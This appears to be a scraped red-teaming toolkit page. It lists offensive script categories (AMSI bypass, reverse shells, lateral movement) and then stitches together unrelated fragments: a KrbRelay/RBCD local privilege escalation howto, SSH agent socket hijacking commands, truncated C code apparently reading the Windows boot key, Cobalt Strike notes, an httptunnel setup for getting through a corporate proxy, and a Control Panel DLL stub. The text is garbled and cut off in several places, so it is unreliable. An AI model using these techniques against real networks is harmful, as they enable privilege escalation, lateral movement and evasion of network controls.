filipesam

Red Teaming tool

General usefull Powershell Scripts
AMSI Bypass restriction Bypass
Payload Hosting
Network Share Scanner
Lateral Movement
Reverse Shellz
POST Exploitation

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

LDAP signing not required on Domain Controller (default!)

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
Relaying that machine authentication to LDAPS for configuring RBCD
RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]

user@internal:~$ hostname -f
internal.company.tld

title	author	date	source	notoc
LDAP Search Filter Cheatsheet	Jon LaBelle	January 4, 2021	https://jonlabelle.com/snippets/view/markdown/ldap-search-filter-cheatsheet	true

LDAP Search Filter Cheatsheet

	#include <windows.h>
	#include <stdio.h>
	#define BOOT_KEY_SIZE 16
	#pragma warning(disable: 4996)

	void getRegistryClassValue(HKEY rootKey, const char* subKey, char* classValue, DWORD classValueSize) {
	HKEY hKey;
	LONG result = RegOpenKeyExA(rootKey, subKey, 0, KEY_READ, &hKey);
	if (result != ERROR_SUCCESS) {
	fprintf(stderr, "Error opening registry key: %ld\n", result);

	MANUAL COBALT STRIKE
	!------------------------------------------------- --Standard Commands---------------------------------------------- -----!
	Creating a load
	Attacks->Packages->

	interact - choose an agent
	help -> will show a list of commands
	help [command] will show help for a specific command

	A-001.htm
	A-002.htm
	A-003.htm
	A-004.htm
	A-005.htm
	A-006.htm
	A-007.htm
	A01
	A02
	A03

	# Client (Cygwin)

	lynx -source rawgit.com/transcode-open/apt-cyg/master/apt-cyg > apt-cyg
	install apt-cyg /bin
	apt-cyg install httptunnel

	htc -P $CORP_HTTP_PROXY_HOST:$CORP_HTTP_PROXY_PORT -F 8888 $HTS_SERVER_HOST:80

	ssh -p 8888 $USER@localhost

	// dllmain.cpp : Defines the entry point for the DLL application.
	#include "pch.h"
	#include <Windows.h>

	extern "C" __declspec(dllexport) LONG CplApplet()
	{
	MessageBoxA(NULL, "Replace this message box with something more interesting...", "Control Panel", 0);
	return 1;
	}